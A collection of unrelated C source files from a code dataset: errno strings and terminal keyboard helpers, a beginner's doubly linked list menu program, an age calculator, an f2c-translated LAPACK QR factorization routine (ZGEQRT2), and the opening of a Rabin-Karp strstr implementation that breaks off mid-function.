return "Cross-device link";
case 19:
return "No such device";
case 20:
return "Not a directory";
case 21:
return "Is a directory";
case 22:
return "Invalid argument";
case 23:
return "File table overflow";
case 24:
return "Too many open files";
case 25:
return "Not a typewriter";
case 26:
return "Text file busy";
case 27:
return "File too large";
case 28:
return "No space left on device";
case 29:
return "Illegal seek";
case 30:
return "Read-only file system";
case 31:
return "Too many links";
case 32:
return "Broken pipe";
case 33:
return "Math argument out of domain of func";
case 34:
return "Math result not representable";
default:
break;
}
return "Unknown";
}
int kbhit(void)
{
struct termios term, oterm;
int fd = 0;
int c = 0;
tcgetattr(fd, &oterm);
memcpy(&term, &oterm, sizeof(term));
term.c_lflag = term.c_lflag & (!ICANON);
term.c_cc[VMIN] = 0;
term.c_cc[VTIME] = 1;
tcsetattr(fd, TCSANOW, &term);
c = getchar();
tcsetattr(fd, TCSANOW, &oterm);
if (c != -1)
ungetc(c, stdin);
return ((c != -1) ? 1 : 0);
}
int getch()
{
static int ch = -1, fd = 0;
struct termios neu, alt;
fd = fileno(stdin);
tcgetattr(fd, &alt);
neu = alt;
neu.c_lflag &= ~(ICANON|ECHO);
tcsetattr(fd, TCSANOW, &neu);
ch = getchar();
tcsetattr(fd, TCSANOW, &alt);
return ch;
}
|
the_stack_data/98242.c
|
#include<stdio.h>
#include<stdlib.h>
struct node
{
int data;
struct node* link;
struct node* prev;
}node;
struct node* start = NULL;
static int count = 0;
void insert_beginning(int);
void insert_after(int, int);
void delete_end();
void display();
int main(void)
{
int value,data;
printf("\n\n\t\t***WELCOME TO DOUBLY LINKED LIST MANAGEMENT***\n\n");
for(;;)
{
printf("1. Insert at beginning.\n");
printf("2. Insert after a node.\n");
printf("3. Delete from end.\n");
printf("4. Print Linked List.\n");
printf("5. Size of linked list.\n\n");
printf("ENTER 999 TO END.\n\n");
int n, flag =0;
printf("Input>");
scanf(" %d",&n);
switch(n)
{
case 1:printf("Enter value: ");
scanf(" %d",&value);
insert_beginning(value);
break;
case 2:printf("Value: ");
scanf(" %d",&value);
printf("Data: ");
scanf(" %d",&data);
insert_after(value,data);
break;
case 3:delete_end();
break;
case 4:display();
break;
case 5:printf("Size of list-->%d\n\n",count);
break;
case 999:flag = 1;
break;
default:printf("Enter a valid input.\n\n");
break;
}
if(flag == 1)
break;
}
}
void insert_after(int value, int data){
if(start == NULL){
printf("Linked List not found.\n");
return;
}
struct node* new = NULL;
new = (struct node*)malloc(sizeof(node));
new->data = data;
struct node* ptr = start;
while(ptr->data != value){
ptr = ptr->link;
}
new->link = ptr->link;
new->prev = ptr;
ptr->link = new;
new->link->prev = new;
printf("%d added after %d.\n\n", data,value);
++count;
}
void delete_end()
{
if(start == NULL)
{
printf("Underflow.\n");
return;
}
struct node* ptr;
ptr = start;
while(ptr->link != NULL)
{
ptr = ptr->link;
}
ptr->prev->link = NULL;
free(ptr);
--count;
printf("Deleted last node.\n\n");
}
void insert_beginning(int k)
{
struct node* new = NULL;
if(start == NULL)
{
new = (struct node*)malloc(sizeof(node));
new->link = NULL;
new->prev = NULL;
new->data = k;
start = new;
printf("Linked List Created. %d added.\n\n",k);
++count;
return;
}
new = (struct node*)malloc(sizeof(node));
new->data = k;
new->link = start;
new->prev = NULL;
start->prev = new;
start = new;
++count;
printf("Added %d at beginning.\n\n",k);
}
void display()
{
if(start == NULL)
{
printf("Linked List does not exit.\n");
return;
}
struct node* trav;
trav = start;
printf("Linked List is: ");
while(trav->link != NULL)
{
printf("%d ",trav->data);
trav = trav->link;
}
printf("%d ",trav->data);
printf("\n\n");
}
|
the_stack_data/140764802.c
|
#include <stdio.h>
main () {
int id,r1,anos,meses,dias;
printf ("\nInforme a idade em dias: ");
scanf ("%i",&id);
anos = id / 365;
r1 = id % 365;
meses = r1 / 30;
dias = r1 % 30;
printf ("\nA idade e:\n%i anos, %i meses, %i dias.\n",anos,meses,dias);
printf ("\n\n<< Marco Tulio >>\n");
getchar(),getchar();
}
|
the_stack_data/67648.c
|
void elfin3_dynamics_guard_surfaces_jacobian_sparsity(unsigned long const** row,
unsigned long const** col,
unsigned long* nnz) {
static unsigned long const rows[0] = {};
static unsigned long const cols[0] = {};
*row = rows;
*col = cols;
*nnz = 0;
}
|
the_stack_data/86086.c
|
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static doublecomplex c_b1 = {1.,0.};
static doublecomplex c_b2 = {0.,0.};
static integer c__1 = 1;
/* > \brief \b ZGEQRT2 computes a QR factorization of a general real or complex matrix using the compact WY re
presentation of Q. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZGEQRT2 + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zgeqrt2
.f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zgeqrt2
.f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zgeqrt2
.f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE ZGEQRT2( M, N, A, LDA, T, LDT, INFO ) */
/* INTEGER INFO, LDA, LDT, M, N */
/* COMPLEX*16 A( LDA, * ), T( LDT, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > ZGEQRT2 computes a QR factorization of a complex M-by-N matrix A, */
/* > using the compact WY representation of Q. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] M */
/* > \verbatim */
/* > M is INTEGER */
/* > The number of rows of the matrix A. M >= N. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The number of columns of the matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is COMPLEX*16 array, dimension (LDA,N) */
/* > On entry, the complex M-by-N matrix A. On exit, the elements on and */
/* > above the diagonal contain the N-by-N upper triangular matrix R; the */
/* > elements below the diagonal are the columns of V. See below for */
/* > further details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= f2cmax(1,M). */
/* > \endverbatim */
/* > */
/* > \param[out] T */
/* > \verbatim */
/* > T is COMPLEX*16 array, dimension (LDT,N) */
/* > The N-by-N upper triangular factor of the block reflector. */
/* > The elements on and above the diagonal contain the block */
/* > reflector T; the elements below the diagonal are not used. */
/* > See below for further details. */
/* > \endverbatim */
/* > */
/* > \param[in] LDT */
/* > \verbatim */
/* > LDT is INTEGER */
/* > The leading dimension of the array T. LDT >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complex16GEcomputational */
/* > \par Further Details: */
/* ===================== */
/* > */
/* > \verbatim */
/* > */
/* > The matrix V stores the elementary reflectors H(i) in the i-th column */
/* > below the diagonal. For example, if M=5 and N=3, the matrix V is */
/* > */
/* > V = ( 1 ) */
/* > ( v1 1 ) */
/* > ( v1 v2 1 ) */
/* > ( v1 v2 v3 ) */
/* > ( v1 v2 v3 ) */
/* > */
/* > where the vi's represent the vectors which define H(i), which are returned */
/* > in the matrix A. The 1's along the diagonal of V are not stored in A. The */
/* > block reflector H is then given by */
/* > */
/* > H = I - V * T * V**H */
/* > */
/* > where V**H is the conjugate transpose of V. */
/* > \endverbatim */
/* > */
/* ===================================================================== */
/* Subroutine */ int zgeqrt2_(integer *m, integer *n, doublecomplex *a,
integer *lda, doublecomplex *t, integer *ldt, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, t_dim1, t_offset, i__1, i__2, i__3;
doublecomplex z__1, z__2;
/* Local variables */
integer i__, k;
doublecomplex alpha;
extern /* Subroutine */ int zgerc_(integer *, integer *, doublecomplex *,
doublecomplex *, integer *, doublecomplex *, integer *,
doublecomplex *, integer *), zgemv_(char *, integer *, integer *,
doublecomplex *, doublecomplex *, integer *, doublecomplex *,
integer *, doublecomplex *, doublecomplex *, integer *),
ztrmv_(char *, char *, char *, integer *, doublecomplex *,
integer *, doublecomplex *, integer *),
xerbla_(char *, integer *, ftnlen), zlarfg_(integer *,
doublecomplex *, doublecomplex *, integer *, doublecomplex *);
doublecomplex aii;
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Test the input arguments */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
t_dim1 = *ldt;
t_offset = 1 + t_dim1 * 1;
t -= t_offset;
/* Function Body */
*info = 0;
if (*m < 0) {
*info = -1;
} else if (*n < 0) {
*info = -2;
} else if (*lda < f2cmax(1,*m)) {
*info = -4;
} else if (*ldt < f2cmax(1,*n)) {
*info = -6;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("ZGEQRT2", &i__1, (ftnlen)7);
return 0;
}
k = f2cmin(*m,*n);
i__1 = k;
for (i__ = 1; i__ <= i__1; ++i__) {
/* Generate elem. refl. H(i) to annihilate A(i+1:m,i), tau(I) -> T(I,1) */
i__2 = *m - i__ + 1;
/* Computing MIN */
i__3 = i__ + 1;
zlarfg_(&i__2, &a[i__ + i__ * a_dim1], &a[f2cmin(i__3,*m) + i__ * a_dim1]
, &c__1, &t[i__ + t_dim1]);
if (i__ < *n) {
/* Apply H(i) to A(I:M,I+1:N) from the left */
i__2 = i__ + i__ * a_dim1;
aii.r = a[i__2].r, aii.i = a[i__2].i;
i__2 = i__ + i__ * a_dim1;
a[i__2].r = 1., a[i__2].i = 0.;
/* W(1:N-I) := A(I:M,I+1:N)^H * A(I:M,I) [W = T(:,N)] */
i__2 = *m - i__ + 1;
i__3 = *n - i__;
zgemv_("C", &i__2, &i__3, &c_b1, &a[i__ + (i__ + 1) * a_dim1],
lda, &a[i__ + i__ * a_dim1], &c__1, &c_b2, &t[*n * t_dim1
+ 1], &c__1);
/* A(I:M,I+1:N) = A(I:m,I+1:N) + alpha*A(I:M,I)*W(1:N-1)^H */
d_cnjg(&z__2, &t[i__ + t_dim1]);
z__1.r = -z__2.r, z__1.i = -z__2.i;
alpha.r = z__1.r, alpha.i = z__1.i;
i__2 = *m - i__ + 1;
i__3 = *n - i__;
zgerc_(&i__2, &i__3, &alpha, &a[i__ + i__ * a_dim1], &c__1, &t[*n
* t_dim1 + 1], &c__1, &a[i__ + (i__ + 1) * a_dim1], lda);
i__2 = i__ + i__ * a_dim1;
a[i__2].r = aii.r, a[i__2].i = aii.i;
}
}
i__1 = *n;
for (i__ = 2; i__ <= i__1; ++i__) {
i__2 = i__ + i__ * a_dim1;
aii.r = a[i__2].r, aii.i = a[i__2].i;
i__2 = i__ + i__ * a_dim1;
a[i__2].r = 1., a[i__2].i = 0.;
/* T(1:I-1,I) := alpha * A(I:M,1:I-1)**H * A(I:M,I) */
i__2 = i__ + t_dim1;
z__1.r = -t[i__2].r, z__1.i = -t[i__2].i;
alpha.r = z__1.r, alpha.i = z__1.i;
i__2 = *m - i__ + 1;
i__3 = i__ - 1;
zgemv_("C", &i__2, &i__3, &alpha, &a[i__ + a_dim1], lda, &a[i__ + i__
* a_dim1], &c__1, &c_b2, &t[i__ * t_dim1 + 1], &c__1);
i__2 = i__ + i__ * a_dim1;
a[i__2].r = aii.r, a[i__2].i = aii.i;
/* T(1:I-1,I) := T(1:I-1,1:I-1) * T(1:I-1,I) */
i__2 = i__ - 1;
ztrmv_("U", "N", "N", &i__2, &t[t_offset], ldt, &t[i__ * t_dim1 + 1],
&c__1);
/* T(I,I) = tau(I) */
i__2 = i__ + i__ * t_dim1;
i__3 = i__ + t_dim1;
t[i__2].r = t[i__3].r, t[i__2].i = t[i__3].i;
i__2 = i__ + t_dim1;
t[i__2].r = 0., t[i__2].i = 0.;
}
/* End of ZGEQRT2 */
return 0;
} /* zgeqrt2_ */
|
the_stack_data/184518949.c
|
#include <string.h>
/*
Copyright 2017 Adrian Parvin D. Ouano
`strstr.c' Using the Rabin-Karp algorithm
*/
static inline long long unsigned int hash(long unsigned n)
{
// TODO: Use a better hash
return n*n + n;
}
char *strstr(const char *haystack, const char *needle)
{
const char *n = needle, *h = haystack;
long long unsigned int n_hash = 0, h_hash = 0;
for (; *n != '\0' && *h != '\0'; ++n, ++h)
{
n_hash += hash(*n);
h_hash += hash(*h);
}
// A longer needle can't fit in a shorter haystack.
if (*n != '\0')
return NULL;
// haystack refers to the beginning of the substring
// h refers to the end of the substring
for (;*h != '\0'; ++h, ++haystack) {
